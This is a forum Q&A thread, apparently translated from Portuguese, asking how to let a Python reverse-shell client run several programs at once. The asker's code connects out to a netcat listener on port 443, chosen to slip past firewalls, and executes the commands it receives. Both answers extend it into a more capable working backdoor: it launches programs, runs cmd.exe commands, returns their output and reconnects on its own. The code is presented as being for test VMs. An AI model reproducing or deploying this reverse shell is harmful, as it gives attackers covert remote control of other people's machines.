How to add parallelism in execution with the subprocess module?

5

The code will be used on 2 virtual testing machines (Linux and Windows).

The code below works, but every time I run a program, for example notepad , the prompt gets stuck until I quit the program.

How do I run multiple programs at the same time? I guess it's with Threads , but I still can not use the concept.

How can I do this?

#Apenas a parte Server que ficara em windows . 
#A simple  Reverse Concection in Python 2.  windows
#client netcat:  nc -lvp 443

import socket
import time
import subprocess #Executar comandos do SO

#criando a conexao reversa

IP = '192.168.1.33' # ip do cliente linux netcat que sera a central de comando
PORT = 443 # usamos a porta de https pra confundir o firewall : a conexao de saida nao sera bloqueada

def connect(IP,PORT):
    #conectando a central de controle 
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # IP/TCP

        s.connect((IP,PORT))
        s.send('[!] Conexao recebida\n')        # msg pra ver se foi conectado
        #s.close()
        return s
    except Exception as e:
        print('Erro de conexao',e )
        return None

def listen(s):
##qdo  o cliente nao esta escutando, da erro na conexao e fecha!. Nao quero isso. O server tem que ficar o tempo todo tentando ate conectar!
## versao 3!!!!!!!!!!
#versao 4 usa while True

##########loop infinito para receber comandos
    try:

        while True:
            data = s.recv(1024) # a central de controle envia tb o "Enter" que teclamos apos cada comando {\n}
            #print(data)
            if data[:-1] == '/exit': #tudo exceto o ultimo caractere, que eh o \n
                s.close()#fechar conexao
                exit(0)  # 0 eh execucao normal/sem erros
            else: #executar os comandos
                cmd(s,data)
    except:
        main(s)

def cmd(s,data):
    try:    
        proc = subprocess.Popen(data, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        saida = s.send(proc.stdout.read() + proc.stderr.read())
        s.send(saida)
        #print(proc.stdout.read())    
    except:
        main(s)

def main(s):
    if s:
        s.close()

    while True:
        s_connected = connect(IP,PORT)
        if s_connected:
            listen(s_connected)
        else:
            print("deu erro na conexao, tentando de novo!!!")##so pra debug
            time.sleep(10)

    #return 0 #nao precisa

s = None
main(s)
    
asked by anonymous 03.08.2016 / 17:41

2 answers

5
  

The code works but every time I run a program, for   example, c: \ windows \ notepad.exe, the prompt is stuck until I close the   program.

This happens due to the redirection that is done from the file descriptors of the process created for the parent process, which in this case is your script .

In the code below, the entry , out , and the error exit are redirected to #

subprocess.Popen(data, 
    shell=True, stdin = subprocess.PIPE, stdout= subprocess.PIPE, stderr= subprocess.PIPE)

To avoid this, do not redirect , so no identifier will be inherited by the child process.

You can do this in two ways:

  • Use the close_fds parameter, by default (from version 3.2 ) to False , change to True .
  • Set as None to input , output , and error output .
  • See an example:

    def executarPrograma(cmd):
        try:
            p = subprocess.Popen(cmd, shell=True, close_fds=True)
        except:
            pass
    

    Note : The above function will attempt to execute whatever is passed as an argument, without interfering with the execution of script . For example, an executable, link , etc.

    To execute a command on cmd.exe , use the subprocess.check_output function. :

    def executarCMD(s, cmd):
        try:
            saida = subprocess.check_output(['cmd.exe', '/c ', cmd])
            print (saida)
        except:
            pass
    

    In your code, you can do this:

    # -*- coding: utf-8 -*-
    import socket, subprocess, shlex
    from time import sleep
    
    # cliente netcat:  nc -lvp 443
    
    conexao = ('192.168.1.33', 443)
    timeout = 10
    
    def conectar(conexao): 
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect(conexao)
            return s
        except:
            return None
    
    def enviarMensagem(s, msg):
        texto = "{}\n".format(msg).encode('utf-8')
        s.send(texto)
    
    def escutar(s):
        try:
            while True:
                # O rstrip() é para eliminar a quebra de linha
                recebido = s.recv(1024).decode('utf-8').rstrip()
    
                if recebido:
                    # Separa as informações recebidas
                    informacoes = shlex.split(recebido)
    
                    comando = informacoes[:1] # Pega o primeiro item
                    args = informacoes[1:]    # Pega os itens do primeiro em diante
    
                    # Verifica se o comando é "-e" ou "--exit"
                    if any(opcao in ['-e', '--exit'] for opcao in comando):
                        print (" + Terminando conexão...")
                        s.close()
                        quit()
    
                    # Verifica se  o comando é para executar um programa
                    elif any(opcao in ['-r', '--run'] for opcao in comando):
                        print (" + Executando o programa {}".format(args))
                        executarPrograma(args)
    
                    # Se as opções acima não forem satisfeitas, executa o
                    # comando recebido no cmd.exe, ex.: dir, tasklist
                    else:
                        print (" + Executando o comando {} no cmd.exe".format(recebido))
                        executarCMD(s, recebido)
        except:
            main(s)
    
    def executarPrograma(cmd):
        try:
            p = subprocess.Popen(cmd, shell=True, close_fds=True)
        except:
            print(" - Não foi possível executar o programa: {}".format(cmd))
            #main(s)
    
    def executarCMD(s, cmd):
        try:
            if len(cmd) >= 3:
                saida = subprocess.check_output(['cmd.exe', '/c ', cmd])
    
                # Envia a saída ao cliente
                s.send(saida)
        except:
            print(" - Erro ao executar executar comando: {}".format(cmd))
    
            # Envia a mensagem de erro ao cliente
            enviarMensagem(s, "Erro ao executar comando {}".format(cmd))
            #main(s)
    
    def main(s):
        if s:
            s.close()
    
        while True:
            conectado = conectar(conexao)
            if conectado:
                enviarMensagem(conectado, "Conexao Estabelecida")
                print (" + Conexao Estabelecida")
    
                escutar(conectado)
            else:
                print(" - Erro na conexão. Escutando...")
                sleep(timeout)  
        return 0
    
    s = None
    main(s)
    

    Once connected, to run a program simply type in the netcat terminal: --run <executavel> or -r <executavel> , for example: -r notepad .

    To execute a command in cmd.exe , just type the command, for example: tasklist , dir , etc. To terminate the connection type: --exit or -e .

        
    08.08.2016 / 16:25
    7

    A hunch using thread :

    import thread
    
    def listen(s):
        try:
            while True:
                data = s.recv(1024) # a central de controle envia tb o "Enter" que teclamos apos cada comando {\n}
                #print(data)
                if data[:-1] == '/exit': #tudo exceto o ultimo caractere, que eh o \n
                    s.close()#fechar conexao
                    exit(0)  # 0 eh execucao normal/sem erros
                else: #executar os comandos
                    try:
                        thread.start_new_thread(cmd, (s,data))
                    except:
                        print "Não foi possível criar uma nova thread."
        except:
            main(s)
    
        
    03.08.2016 / 18:34